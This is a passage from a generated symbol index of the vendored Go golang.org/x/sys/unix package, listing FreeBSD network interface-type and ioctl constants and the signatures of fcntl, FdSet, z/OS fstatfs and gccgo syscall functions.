constant IFT_FRAMERELAYINTERCONNECT (line 70) | IFT_FRAMERELAYINTERCONNECT = 0x3a
constant IFT_FRAMERELAYMPI (line 71) | IFT_FRAMERELAYMPI = 0x5c
constant IFT_FRDLCIENDPT (line 72) | IFT_FRDLCIENDPT = 0xc1
constant IFT_FRELAY (line 73) | IFT_FRELAY = 0x20
constant IFT_FRELAYDCE (line 74) | IFT_FRELAYDCE = 0x2c
constant IFT_FRF16MFRBUNDLE (line 75) | IFT_FRF16MFRBUNDLE = 0xa3
constant IFT_FRFORWARD (line 76) | IFT_FRFORWARD = 0x9e
constant IFT_G703AT2MB (line 77) | IFT_G703AT2MB = 0x43
constant IFT_G703AT64K (line 78) | IFT_G703AT64K = 0x42
constant IFT_GIF (line 79) | IFT_GIF = 0xf0
constant IFT_GIGABITETHERNET (line 80) | IFT_GIGABITETHERNET = 0x75
constant IFT_GR303IDT (line 81) | IFT_GR303IDT = 0xb2
constant IFT_GR303RDT (line 82) | IFT_GR303RDT = 0xb1
constant IFT_H323GATEKEEPER (line 83) | IFT_H323GATEKEEPER = 0xa4
constant IFT_H323PROXY (line 84) | IFT_H323PROXY = 0xa5
constant IFT_HDH1822 (line 85) | IFT_HDH1822 = 0x3
constant IFT_HDLC (line 86) | IFT_HDLC = 0x76
constant IFT_HDSL2 (line 87) | IFT_HDSL2 = 0xa8
constant IFT_HIPERLAN2 (line 88) | IFT_HIPERLAN2 = 0xb7
constant IFT_HIPPI (line 89) | IFT_HIPPI = 0x2f
constant IFT_HIPPIINTERFACE (line 90) | IFT_HIPPIINTERFACE = 0x39
constant IFT_HOSTPAD (line 91) | IFT_HOSTPAD = 0x5a
constant IFT_HSSI (line 92) | IFT_HSSI = 0x2e
constant IFT_HY (line 93) | IFT_HY = 0xe
constant IFT_IBM370PARCHAN (line 94) | IFT_IBM370PARCHAN = 0x48
constant IFT_IDSL (line 95) | IFT_IDSL = 0x9a
constant IFT_IEEE80211 (line 96) | IFT_IEEE80211 = 0x47
constant IFT_IEEE80212 (line 97) | IFT_IEEE80212 = 0x37
constant IFT_IEEE8023ADLAG (line 98) | IFT_IEEE8023ADLAG = 0xa1
constant IFT_IFGSN (line 99) | IFT_IFGSN = 0x91
constant IFT_IMT (line 100) | IFT_IMT = 0xbe
constant IFT_INTERLEAVE (line 101) | IFT_INTERLEAVE = 0x7c
constant IFT_IP (line 102) | IFT_IP = 0x7e
constant IFT_IPFORWARD (line 103) | IFT_IPFORWARD = 0x8e
constant IFT_IPOVERATM (line 104) | IFT_IPOVERATM = 0x72
constant IFT_IPOVERCDLC (line 105) | IFT_IPOVERCDLC = 0x6d
constant IFT_IPOVERCLAW (line 106) | IFT_IPOVERCLAW = 0x6e
constant IFT_IPSWITCH (line 107) | IFT_IPSWITCH = 0x4e
constant IFT_IPXIP (line 108) | IFT_IPXIP = 0xf9
constant IFT_ISDN (line 109) | IFT_ISDN = 0x3f
constant IFT_ISDNBASIC (line 110) | IFT_ISDNBASIC = 0x14
constant IFT_ISDNPRIMARY (line 111) | IFT_ISDNPRIMARY = 0x15
constant IFT_ISDNS (line 112) | IFT_ISDNS = 0x4b
constant IFT_ISDNU (line 113) | IFT_ISDNU = 0x4c
constant IFT_ISO88022LLC (line 114) | IFT_ISO88022LLC = 0x29
constant IFT_ISO88023 (line 115) | IFT_ISO88023 = 0x7
constant IFT_ISO88024 (line 116) | IFT_ISO88024 = 0x8
constant IFT_ISO88025 (line 117) | IFT_ISO88025 = 0x9
constant IFT_ISO88025CRFPINT (line 118) | IFT_ISO88025CRFPINT = 0x62
constant IFT_ISO88025DTR (line 119) | IFT_ISO88025DTR = 0x56
constant IFT_ISO88025FIBER (line 120) | IFT_ISO88025FIBER = 0x73
constant IFT_ISO88026 (line 121) | IFT_ISO88026 = 0xa
constant IFT_ISUP (line 122) | IFT_ISUP = 0xb3
constant IFT_L3IPXVLAN (line 123) | IFT_L3IPXVLAN = 0x89
constant IFT_LAPB (line 124) | IFT_LAPB = 0x10
constant IFT_LAPD (line 125) | IFT_LAPD = 0x4d
constant IFT_LAPF (line 126) | IFT_LAPF = 0x77
constant IFT_LOCALTALK (line 127) | IFT_LOCALTALK = 0x2a
constant IFT_LOOP (line 128) | IFT_LOOP = 0x18
constant IFT_MEDIAMAILOVERIP (line 129) | IFT_MEDIAMAILOVERIP = 0x8b
constant IFT_MFSIGLINK (line 130) | IFT_MFSIGLINK = 0xa7
constant IFT_MIOX25 (line 131) | IFT_MIOX25 = 0x26
constant IFT_MODEM (line 132) | IFT_MODEM = 0x30
constant IFT_MPC (line 133) | IFT_MPC = 0x71
constant IFT_MPLS (line 134) | IFT_MPLS = 0xa6
constant IFT_MPLSTUNNEL (line 135) | IFT_MPLSTUNNEL = 0x96
constant IFT_MSDSL (line 136) | IFT_MSDSL = 0x8f
constant IFT_MVL (line 137) | IFT_MVL = 0xbf
constant IFT_MYRINET (line 138) | IFT_MYRINET = 0x63
constant IFT_NFAS (line 139) | IFT_NFAS = 0xaf
constant IFT_NSIP (line 140) | IFT_NSIP = 0x1b
constant IFT_OPTICALCHANNEL (line 141) | IFT_OPTICALCHANNEL = 0xc3
constant IFT_OPTICALTRANSPORT (line 142) | IFT_OPTICALTRANSPORT = 0xc4
constant IFT_OTHER (line 143) | IFT_OTHER = 0x1
constant IFT_P10 (line 144) | IFT_P10 = 0xc
constant IFT_P80 (line 145) | IFT_P80 = 0xd
constant IFT_PARA (line 146) | IFT_PARA = 0x22
constant IFT_PFLOG (line 147) | IFT_PFLOG = 0xf6
constant IFT_PFSYNC (line 148) | IFT_PFSYNC = 0xf7
constant IFT_PLC (line 149) | IFT_PLC = 0xae
constant IFT_POS (line 150) | IFT_POS = 0xab
constant IFT_PPPMULTILINKBUNDLE (line 151) | IFT_PPPMULTILINKBUNDLE = 0x6c
constant IFT_PROPBWAP2MP (line 152) | IFT_PROPBWAP2MP = 0xb8
constant IFT_PROPCNLS (line 153) | IFT_PROPCNLS = 0x59
constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 154) | IFT_PROPDOCSWIRELESSDOWNSTREAM = 0xb5
constant IFT_PROPDOCSWIRELESSMACLAYER (line 155) | IFT_PROPDOCSWIRELESSMACLAYER = 0xb4
constant IFT_PROPDOCSWIRELESSUPSTREAM (line 156) | IFT_PROPDOCSWIRELESSUPSTREAM = 0xb6
constant IFT_PROPMUX (line 157) | IFT_PROPMUX = 0x36
constant IFT_PROPWIRELESSP2P (line 158) | IFT_PROPWIRELESSP2P = 0x9d
constant IFT_PTPSERIAL (line 159) | IFT_PTPSERIAL = 0x16
constant IFT_PVC (line 160) | IFT_PVC = 0xf1
constant IFT_QLLC (line 161) | IFT_QLLC = 0x44
constant IFT_RADIOMAC (line 162) | IFT_RADIOMAC = 0xbc
constant IFT_RADSL (line 163) | IFT_RADSL = 0x5f
constant IFT_REACHDSL (line 164) | IFT_REACHDSL = 0xc0
constant IFT_RFC1483 (line 165) | IFT_RFC1483 = 0x9f
constant IFT_RS232 (line 166) | IFT_RS232 = 0x21
constant IFT_RSRB (line 167) | IFT_RSRB = 0x4f
constant IFT_SDLC (line 168) | IFT_SDLC = 0x11
constant IFT_SDSL (line 169) | IFT_SDSL = 0x60
constant IFT_SHDSL (line 170) | IFT_SHDSL = 0xa9
constant IFT_SIP (line 171) | IFT_SIP = 0x1f
constant IFT_SLIP (line 172) | IFT_SLIP = 0x1c
constant IFT_SMDSDXI (line 173) | IFT_SMDSDXI = 0x2b
constant IFT_SMDSICIP (line 174) | IFT_SMDSICIP = 0x34
constant IFT_SONET (line 175) | IFT_SONET = 0x27
constant IFT_SONETOVERHEADCHANNEL (line 176) | IFT_SONETOVERHEADCHANNEL = 0xb9
constant IFT_SONETPATH (line 177) | IFT_SONETPATH = 0x32
constant IFT_SONETVT (line 178) | IFT_SONETVT = 0x33
constant IFT_SRP (line 179) | IFT_SRP = 0x97
constant IFT_SS7SIGLINK (line 180) | IFT_SS7SIGLINK = 0x9c
constant IFT_STACKTOSTACK (line 181) | IFT_STACKTOSTACK = 0x6f
constant IFT_STARLAN (line 182) | IFT_STARLAN = 0xb
constant IFT_STF (line 183) | IFT_STF = 0xd7
constant IFT_T1 (line 184) | IFT_T1 = 0x12
constant IFT_TDLC (line 185) | IFT_TDLC = 0x74
constant IFT_TERMPAD (line 186) | IFT_TERMPAD = 0x5b
constant IFT_TR008 (line 187) | IFT_TR008 = 0xb0
constant IFT_TRANSPHDLC (line 188) | IFT_TRANSPHDLC = 0x7b
constant IFT_TUNNEL (line 189) | IFT_TUNNEL = 0x83
constant IFT_ULTRA (line 190) | IFT_ULTRA = 0x1d
constant IFT_USB (line 191) | IFT_USB = 0xa0
constant IFT_V11 (line 192) | IFT_V11 = 0x40
constant IFT_V35 (line 193) | IFT_V35 = 0x2d
constant IFT_V36 (line 194) | IFT_V36 = 0x41
constant IFT_V37 (line 195) | IFT_V37 = 0x78
constant IFT_VDSL (line 196) | IFT_VDSL = 0x61
constant IFT_VIRTUALIPADDRESS (line 197) | IFT_VIRTUALIPADDRESS = 0x70
constant IFT_VOICEEM (line 198) | IFT_VOICEEM = 0x64
constant IFT_VOICEENCAP (line 199) | IFT_VOICEENCAP = 0x67
constant IFT_VOICEFXO (line 200) | IFT_VOICEFXO = 0x65
constant IFT_VOICEFXS (line 201) | IFT_VOICEFXS = 0x66
constant IFT_VOICEOVERATM (line 202) | IFT_VOICEOVERATM = 0x98
constant IFT_VOICEOVERFRAMERELAY (line 203) | IFT_VOICEOVERFRAMERELAY = 0x99
constant IFT_VOICEOVERIP (line 204) | IFT_VOICEOVERIP = 0x68
constant IFT_X213 (line 205) | IFT_X213 = 0x5d
constant IFT_X25 (line 206) | IFT_X25 = 0x5
constant IFT_X25DDN (line 207) | IFT_X25DDN = 0x4
constant IFT_X25HUNTGROUP (line 208) | IFT_X25HUNTGROUP = 0x7a
constant IFT_X25MLP (line 209) | IFT_X25MLP = 0x79
constant IFT_X25PLE (line 210) | IFT_X25PLE = 0x28
constant IFT_XETHER (line 211) | IFT_XETHER = 0x1a
constant IPPROTO_MAXID (line 212) | IPPROTO_MAXID = 0x34
constant IPV6_FAITH (line 213) | IPV6_FAITH = 0x1d
constant IPV6_MIN_MEMBERSHIPS (line 214) | IPV6_MIN_MEMBERSHIPS = 0x1f
constant IP_FAITH (line 215) | IP_FAITH = 0x16
constant IP_MAX_SOURCE_FILTER (line 216) | IP_MAX_SOURCE_FILTER = 0x400
constant IP_MIN_MEMBERSHIPS (line 217) | IP_MIN_MEMBERSHIPS = 0x1f
constant MAP_NORESERVE (line 218) | MAP_NORESERVE = 0x40
constant MAP_RENAME (line 219) | MAP_RENAME = 0x20
constant NET_RT_MAXID (line 220) | NET_RT_MAXID = 0x6
constant RTF_PRCLONING (line 221) | RTF_PRCLONING = 0x10000
constant RTM_OLDADD (line 222) | RTM_OLDADD = 0x9
constant RTM_OLDDEL (line 223) | RTM_OLDDEL = 0xa
constant RT_CACHING_CONTEXT (line 224) | RT_CACHING_CONTEXT = 0x1
constant RT_NORTREF (line 225) | RT_NORTREF = 0x2
constant SIOCADDRT (line 226) | SIOCADDRT = 0x8040720a
constant SIOCALIFADDR (line 227) | SIOCALIFADDR = 0x8118691b
constant SIOCDELRT (line 228) | SIOCDELRT = 0x8040720b
constant SIOCDLIFADDR (line 229) | SIOCDLIFADDR = 0x8118691d
constant SIOCGLIFADDR (line 230) | SIOCGLIFADDR = 0xc118691c
constant SIOCGLIFPHYADDR (line 231) | SIOCGLIFPHYADDR = 0xc118694b
constant SIOCSLIFPHYADDR (line 232) | SIOCSLIFPHYADDR = 0x8118694a
FILE: vendor/golang.org/x/sys/unix/errors_freebsd_arm.go
constant IFT_1822 (line 8) | IFT_1822 = 0x2
constant IFT_A12MPPSWITCH (line 9) | IFT_A12MPPSWITCH = 0x82
constant IFT_AAL2 (line 10) | IFT_AAL2 = 0xbb
constant IFT_AAL5 (line 11) | IFT_AAL5 = 0x31
constant IFT_ADSL (line 12) | IFT_ADSL = 0x5e
constant IFT_AFLANE8023 (line 13) | IFT_AFLANE8023 = 0x3b
constant IFT_AFLANE8025 (line 14) | IFT_AFLANE8025 = 0x3c
constant IFT_ARAP (line 15) | IFT_ARAP = 0x58
constant IFT_ARCNET (line 16) | IFT_ARCNET = 0x23
constant IFT_ARCNETPLUS (line 17) | IFT_ARCNETPLUS = 0x24
constant IFT_ASYNC (line 18) | IFT_ASYNC = 0x54
constant IFT_ATM (line 19) | IFT_ATM = 0x25
constant IFT_ATMDXI (line 20) | IFT_ATMDXI = 0x69
constant IFT_ATMFUNI (line 21) | IFT_ATMFUNI = 0x6a
constant IFT_ATMIMA (line 22) | IFT_ATMIMA = 0x6b
constant IFT_ATMLOGICAL (line 23) | IFT_ATMLOGICAL = 0x50
constant IFT_ATMRADIO (line 24) | IFT_ATMRADIO = 0xbd
constant IFT_ATMSUBINTERFACE (line 25) | IFT_ATMSUBINTERFACE = 0x86
constant IFT_ATMVCIENDPT (line 26) | IFT_ATMVCIENDPT = 0xc2
constant IFT_ATMVIRTUAL (line 27) | IFT_ATMVIRTUAL = 0x95
constant IFT_BGPPOLICYACCOUNTING (line 28) | IFT_BGPPOLICYACCOUNTING = 0xa2
constant IFT_BSC (line 29) | IFT_BSC = 0x53
constant IFT_CCTEMUL (line 30) | IFT_CCTEMUL = 0x3d
constant IFT_CEPT (line 31) | IFT_CEPT = 0x13
constant IFT_CES (line 32) | IFT_CES = 0x85
constant IFT_CHANNEL (line 33) | IFT_CHANNEL = 0x46
constant IFT_CNR (line 34) | IFT_CNR = 0x55
constant IFT_COFFEE (line 35) | IFT_COFFEE = 0x84
constant IFT_COMPOSITELINK (line 36) | IFT_COMPOSITELINK = 0x9b
constant IFT_DCN (line 37) | IFT_DCN = 0x8d
constant IFT_DIGITALPOWERLINE (line 38) | IFT_DIGITALPOWERLINE = 0x8a
constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 39) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
constant IFT_DLSW (line 40) | IFT_DLSW = 0x4a
constant IFT_DOCSCABLEDOWNSTREAM (line 41) | IFT_DOCSCABLEDOWNSTREAM = 0x80
constant IFT_DOCSCABLEMACLAYER (line 42) | IFT_DOCSCABLEMACLAYER = 0x7f
constant IFT_DOCSCABLEUPSTREAM (line 43) | IFT_DOCSCABLEUPSTREAM = 0x81
constant IFT_DS0 (line 44) | IFT_DS0 = 0x51
constant IFT_DS0BUNDLE (line 45) | IFT_DS0BUNDLE = 0x52
constant IFT_DS1FDL (line 46) | IFT_DS1FDL = 0xaa
constant IFT_DS3 (line 47) | IFT_DS3 = 0x1e
constant IFT_DTM (line 48) | IFT_DTM = 0x8c
constant IFT_DVBASILN (line 49) | IFT_DVBASILN = 0xac
constant IFT_DVBASIOUT (line 50) | IFT_DVBASIOUT = 0xad
constant IFT_DVBRCCDOWNSTREAM (line 51) | IFT_DVBRCCDOWNSTREAM = 0x93
constant IFT_DVBRCCMACLAYER (line 52) | IFT_DVBRCCMACLAYER = 0x92
constant IFT_DVBRCCUPSTREAM (line 53) | IFT_DVBRCCUPSTREAM = 0x94
constant IFT_ENC (line 54) | IFT_ENC = 0xf4
constant IFT_EON (line 55) | IFT_EON = 0x19
constant IFT_EPLRS (line 56) | IFT_EPLRS = 0x57
constant IFT_ESCON (line 57) | IFT_ESCON = 0x49
constant IFT_ETHER (line 58) | IFT_ETHER = 0x6
constant IFT_FAST (line 59) | IFT_FAST = 0x7d
constant IFT_FASTETHER (line 60) | IFT_FASTETHER = 0x3e
constant IFT_FASTETHERFX (line 61) | IFT_FASTETHERFX = 0x45
constant IFT_FDDI (line 62) | IFT_FDDI = 0xf
constant IFT_FIBRECHANNEL (line 63) | IFT_FIBRECHANNEL = 0x38
constant IFT_FRAMERELAYINTERCONNECT (line 64) | IFT_FRAMERELAYINTERCONNECT = 0x3a
constant IFT_FRAMERELAYMPI (line 65) | IFT_FRAMERELAYMPI = 0x5c
constant IFT_FRDLCIENDPT (line 66) | IFT_FRDLCIENDPT = 0xc1
constant IFT_FRELAY (line 67) | IFT_FRELAY = 0x20
constant IFT_FRELAYDCE (line 68) | IFT_FRELAYDCE = 0x2c
constant IFT_FRF16MFRBUNDLE (line 69) | IFT_FRF16MFRBUNDLE = 0xa3
constant IFT_FRFORWARD (line 70) | IFT_FRFORWARD = 0x9e
constant IFT_G703AT2MB (line 71) | IFT_G703AT2MB = 0x43
constant IFT_G703AT64K (line 72) | IFT_G703AT64K = 0x42
constant IFT_GIF (line 73) | IFT_GIF = 0xf0
constant IFT_GIGABITETHERNET (line 74) | IFT_GIGABITETHERNET = 0x75
constant IFT_GR303IDT (line 75) | IFT_GR303IDT = 0xb2
constant IFT_GR303RDT (line 76) | IFT_GR303RDT = 0xb1
constant IFT_H323GATEKEEPER (line 77) | IFT_H323GATEKEEPER = 0xa4
constant IFT_H323PROXY (line 78) | IFT_H323PROXY = 0xa5
constant IFT_HDH1822 (line 79) | IFT_HDH1822 = 0x3
constant IFT_HDLC (line 80) | IFT_HDLC = 0x76
constant IFT_HDSL2 (line 81) | IFT_HDSL2 = 0xa8
constant IFT_HIPERLAN2 (line 82) | IFT_HIPERLAN2 = 0xb7
constant IFT_HIPPI (line 83) | IFT_HIPPI = 0x2f
constant IFT_HIPPIINTERFACE (line 84) | IFT_HIPPIINTERFACE = 0x39
constant IFT_HOSTPAD (line 85) | IFT_HOSTPAD = 0x5a
constant IFT_HSSI (line 86) | IFT_HSSI = 0x2e
constant IFT_HY (line 87) | IFT_HY = 0xe
constant IFT_IBM370PARCHAN (line 88) | IFT_IBM370PARCHAN = 0x48
constant IFT_IDSL (line 89) | IFT_IDSL = 0x9a
constant IFT_IEEE80211 (line 90) | IFT_IEEE80211 = 0x47
constant IFT_IEEE80212 (line 91) | IFT_IEEE80212 = 0x37
constant IFT_IEEE8023ADLAG (line 92) | IFT_IEEE8023ADLAG = 0xa1
constant IFT_IFGSN (line 93) | IFT_IFGSN = 0x91
constant IFT_IMT (line 94) | IFT_IMT = 0xbe
constant IFT_INTERLEAVE (line 95) | IFT_INTERLEAVE = 0x7c
constant IFT_IP (line 96) | IFT_IP = 0x7e
constant IFT_IPFORWARD (line 97) | IFT_IPFORWARD = 0x8e
constant IFT_IPOVERATM (line 98) | IFT_IPOVERATM = 0x72
constant IFT_IPOVERCDLC (line 99) | IFT_IPOVERCDLC = 0x6d
constant IFT_IPOVERCLAW (line 100) | IFT_IPOVERCLAW = 0x6e
constant IFT_IPSWITCH (line 101) | IFT_IPSWITCH = 0x4e
constant IFT_ISDN (line 102) | IFT_ISDN = 0x3f
constant IFT_ISDNBASIC (line 103) | IFT_ISDNBASIC = 0x14
constant IFT_ISDNPRIMARY (line 104) | IFT_ISDNPRIMARY = 0x15
constant IFT_ISDNS (line 105) | IFT_ISDNS = 0x4b
constant IFT_ISDNU (line 106) | IFT_ISDNU = 0x4c
constant IFT_ISO88022LLC (line 107) | IFT_ISO88022LLC = 0x29
constant IFT_ISO88023 (line 108) | IFT_ISO88023 = 0x7
constant IFT_ISO88024 (line 109) | IFT_ISO88024 = 0x8
constant IFT_ISO88025 (line 110) | IFT_ISO88025 = 0x9
constant IFT_ISO88025CRFPINT (line 111) | IFT_ISO88025CRFPINT = 0x62
constant IFT_ISO88025DTR (line 112) | IFT_ISO88025DTR = 0x56
constant IFT_ISO88025FIBER (line 113) | IFT_ISO88025FIBER = 0x73
constant IFT_ISO88026 (line 114) | IFT_ISO88026 = 0xa
constant IFT_ISUP (line 115) | IFT_ISUP = 0xb3
constant IFT_L3IPXVLAN (line 116) | IFT_L3IPXVLAN = 0x89
constant IFT_LAPB (line 117) | IFT_LAPB = 0x10
constant IFT_LAPD (line 118) | IFT_LAPD = 0x4d
constant IFT_LAPF (line 119) | IFT_LAPF = 0x77
constant IFT_LOCALTALK (line 120) | IFT_LOCALTALK = 0x2a
constant IFT_LOOP (line 121) | IFT_LOOP = 0x18
constant IFT_MEDIAMAILOVERIP (line 122) | IFT_MEDIAMAILOVERIP = 0x8b
constant IFT_MFSIGLINK (line 123) | IFT_MFSIGLINK = 0xa7
constant IFT_MIOX25 (line 124) | IFT_MIOX25 = 0x26
constant IFT_MODEM (line 125) | IFT_MODEM = 0x30
constant IFT_MPC (line 126) | IFT_MPC = 0x71
constant IFT_MPLS (line 127) | IFT_MPLS = 0xa6
constant IFT_MPLSTUNNEL (line 128) | IFT_MPLSTUNNEL = 0x96
constant IFT_MSDSL (line 129) | IFT_MSDSL = 0x8f
constant IFT_MVL (line 130) | IFT_MVL = 0xbf
constant IFT_MYRINET (line 131) | IFT_MYRINET = 0x63
constant IFT_NFAS (line 132) | IFT_NFAS = 0xaf
constant IFT_NSIP (line 133) | IFT_NSIP = 0x1b
constant IFT_OPTICALCHANNEL (line 134) | IFT_OPTICALCHANNEL = 0xc3
constant IFT_OPTICALTRANSPORT (line 135) | IFT_OPTICALTRANSPORT = 0xc4
constant IFT_OTHER (line 136) | IFT_OTHER = 0x1
constant IFT_P10 (line 137) | IFT_P10 = 0xc
constant IFT_P80 (line 138) | IFT_P80 = 0xd
constant IFT_PARA (line 139) | IFT_PARA = 0x22
constant IFT_PFLOG (line 140) | IFT_PFLOG = 0xf6
constant IFT_PFSYNC (line 141) | IFT_PFSYNC = 0xf7
constant IFT_PLC (line 142) | IFT_PLC = 0xae
constant IFT_POS (line 143) | IFT_POS = 0xab
constant IFT_PPPMULTILINKBUNDLE (line 144) | IFT_PPPMULTILINKBUNDLE = 0x6c
constant IFT_PROPBWAP2MP (line 145) | IFT_PROPBWAP2MP = 0xb8
constant IFT_PROPCNLS (line 146) | IFT_PROPCNLS = 0x59
constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 147) | IFT_PROPDOCSWIRELESSDOWNSTREAM = 0xb5
constant IFT_PROPDOCSWIRELESSMACLAYER (line 148) | IFT_PROPDOCSWIRELESSMACLAYER = 0xb4
constant IFT_PROPDOCSWIRELESSUPSTREAM (line 149) | IFT_PROPDOCSWIRELESSUPSTREAM = 0xb6
constant IFT_PROPMUX (line 150) | IFT_PROPMUX = 0x36
constant IFT_PROPWIRELESSP2P (line 151) | IFT_PROPWIRELESSP2P = 0x9d
constant IFT_PTPSERIAL (line 152) | IFT_PTPSERIAL = 0x16
constant IFT_PVC (line 153) | IFT_PVC = 0xf1
constant IFT_QLLC (line 154) | IFT_QLLC = 0x44
constant IFT_RADIOMAC (line 155) | IFT_RADIOMAC = 0xbc
constant IFT_RADSL (line 156) | IFT_RADSL = 0x5f
constant IFT_REACHDSL (line 157) | IFT_REACHDSL = 0xc0
constant IFT_RFC1483 (line 158) | IFT_RFC1483 = 0x9f
constant IFT_RS232 (line 159) | IFT_RS232 = 0x21
constant IFT_RSRB (line 160) | IFT_RSRB = 0x4f
constant IFT_SDLC (line 161) | IFT_SDLC = 0x11
constant IFT_SDSL (line 162) | IFT_SDSL = 0x60
constant IFT_SHDSL (line 163) | IFT_SHDSL = 0xa9
constant IFT_SIP (line 164) | IFT_SIP = 0x1f
constant IFT_SLIP (line 165) | IFT_SLIP = 0x1c
constant IFT_SMDSDXI (line 166) | IFT_SMDSDXI = 0x2b
constant IFT_SMDSICIP (line 167) | IFT_SMDSICIP = 0x34
constant IFT_SONET (line 168) | IFT_SONET = 0x27
constant IFT_SONETOVERHEADCHANNEL (line 169) | IFT_SONETOVERHEADCHANNEL = 0xb9
constant IFT_SONETPATH (line 170) | IFT_SONETPATH = 0x32
constant IFT_SONETVT (line 171) | IFT_SONETVT = 0x33
constant IFT_SRP (line 172) | IFT_SRP = 0x97
constant IFT_SS7SIGLINK (line 173) | IFT_SS7SIGLINK = 0x9c
constant IFT_STACKTOSTACK (line 174) | IFT_STACKTOSTACK = 0x6f
constant IFT_STARLAN (line 175) | IFT_STARLAN = 0xb
constant IFT_STF (line 176) | IFT_STF = 0xd7
constant IFT_T1 (line 177) | IFT_T1 = 0x12
constant IFT_TDLC (line 178) | IFT_TDLC = 0x74
constant IFT_TERMPAD (line 179) | IFT_TERMPAD = 0x5b
constant IFT_TR008 (line 180) | IFT_TR008 = 0xb0
constant IFT_TRANSPHDLC (line 181) | IFT_TRANSPHDLC = 0x7b
constant IFT_TUNNEL (line 182) | IFT_TUNNEL = 0x83
constant IFT_ULTRA (line 183) | IFT_ULTRA = 0x1d
constant IFT_USB (line 184) | IFT_USB = 0xa0
constant IFT_V11 (line 185) | IFT_V11 = 0x40
constant IFT_V35 (line 186) | IFT_V35 = 0x2d
constant IFT_V36 (line 187) | IFT_V36 = 0x41
constant IFT_V37 (line 188) | IFT_V37 = 0x78
constant IFT_VDSL (line 189) | IFT_VDSL = 0x61
constant IFT_VIRTUALIPADDRESS (line 190) | IFT_VIRTUALIPADDRESS = 0x70
constant IFT_VOICEEM (line 191) | IFT_VOICEEM = 0x64
constant IFT_VOICEENCAP (line 192) | IFT_VOICEENCAP = 0x67
constant IFT_VOICEFXO (line 193) | IFT_VOICEFXO = 0x65
constant IFT_VOICEFXS (line 194) | IFT_VOICEFXS = 0x66
constant IFT_VOICEOVERATM (line 195) | IFT_VOICEOVERATM = 0x98
constant IFT_VOICEOVERFRAMERELAY (line 196) | IFT_VOICEOVERFRAMERELAY = 0x99
constant IFT_VOICEOVERIP (line 197) | IFT_VOICEOVERIP = 0x68
constant IFT_X213 (line 198) | IFT_X213 = 0x5d
constant IFT_X25 (line 199) | IFT_X25 = 0x5
constant IFT_X25DDN (line 200) | IFT_X25DDN = 0x4
constant IFT_X25HUNTGROUP (line 201) | IFT_X25HUNTGROUP = 0x7a
constant IFT_X25MLP (line 202) | IFT_X25MLP = 0x79
constant IFT_X25PLE (line 203) | IFT_X25PLE = 0x28
constant IFT_XETHER (line 204) | IFT_XETHER = 0x1a
constant IFF_SMART (line 207) | IFF_SMART = 0x20
constant IFT_FAITH (line 208) | IFT_FAITH = 0xf2
constant IFT_IPXIP (line 209) | IFT_IPXIP = 0xf9
constant IPPROTO_MAXID (line 210) | IPPROTO_MAXID = 0x34
constant IPV6_FAITH (line 211) | IPV6_FAITH = 0x1d
constant IP_FAITH (line 212) | IP_FAITH = 0x16
constant MAP_NORESERVE (line 213) | MAP_NORESERVE = 0x40
constant MAP_RENAME (line 214) | MAP_RENAME = 0x20
constant NET_RT_MAXID (line 215) | NET_RT_MAXID = 0x6
constant RTF_PRCLONING (line 216) | RTF_PRCLONING = 0x10000
constant RTM_OLDADD (line 217) | RTM_OLDADD = 0x9
constant RTM_OLDDEL (line 218) | RTM_OLDDEL = 0xa
constant SIOCADDRT (line 219) | SIOCADDRT = 0x8030720a
constant SIOCALIFADDR (line 220) | SIOCALIFADDR = 0x8118691b
constant SIOCDELRT (line 221) | SIOCDELRT = 0x8030720b
constant SIOCDLIFADDR (line 222) | SIOCDLIFADDR = 0x8118691d
constant SIOCGLIFADDR (line 223) | SIOCGLIFADDR = 0xc118691c
constant SIOCGLIFPHYADDR (line 224) | SIOCGLIFPHYADDR = 0xc118694b
constant SIOCSLIFPHYADDR (line 225) | SIOCSLIFPHYADDR = 0x8118694a
FILE: vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
constant DLT_HHDLC (line 11) | DLT_HHDLC = 0x79
constant IPV6_MIN_MEMBERSHIPS (line 12) | IPV6_MIN_MEMBERSHIPS = 0x1f
constant IP_MAX_SOURCE_FILTER (line 13) | IP_MAX_SOURCE_FILTER = 0x400
constant IP_MIN_MEMBERSHIPS (line 14) | IP_MIN_MEMBERSHIPS = 0x1f
constant RT_CACHING_CONTEXT (line 15) | RT_CACHING_CONTEXT = 0x1
constant RT_NORTREF (line 16) | RT_NORTREF = 0x2
FILE: vendor/golang.org/x/sys/unix/fcntl.go
function fcntl (line 16) | func fcntl(fd int, cmd, arg int) (int, error) {
function FcntlInt (line 26) | func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
function FcntlFlock (line 31) | func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
FILE: vendor/golang.org/x/sys/unix/fcntl_darwin.go
function FcntlInt (line 10) | func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
function FcntlFlock (line 15) | func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
function FcntlFstore (line 21) | func FcntlFstore(fd uintptr, cmd int, fstore *Fstore_t) error {
FILE: vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
function init (line 10) | func init() {
FILE: vendor/golang.org/x/sys/unix/fdset.go
method Set (line 11) | func (fds *FdSet) Set(fd int) {
method Clear (line 16) | func (fds *FdSet) Clear(fd int) {
method IsSet (line 21) | func (fds *FdSet) IsSet(fd int) bool {
method Zero (line 26) | func (fds *FdSet) Zero() {
FILE: vendor/golang.org/x/sys/unix/fstatfs_zos.go
function Fstatfs (line 16) | func Fstatfs(fd int, stat *Statfs_t) (err error) {
function tryGetmntent64 (line 61) | func tryGetmntent64(stat *Statfs_t) (err error) {
function tryGetmntent128 (line 82) | func tryGetmntent128(stat *Statfs_t) (err error) {
function tryGetmntent256 (line 103) | func tryGetmntent256(stat *Statfs_t) (err error) {
function tryGetmntent512 (line 124) | func tryGetmntent512(stat *Statfs_t) (err error) {
function tryGetmntent1024 (line 145) | func tryGetmntent1024(stat *Statfs_t) (err error) {
FILE: vendor/golang.org/x/sys/unix/gccgo.go
function realSyscallNoError (line 15) | func realSyscallNoError(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr...
function realSyscall (line 17) | func realSyscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r, e...
function SyscallNoError (line 19) | func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
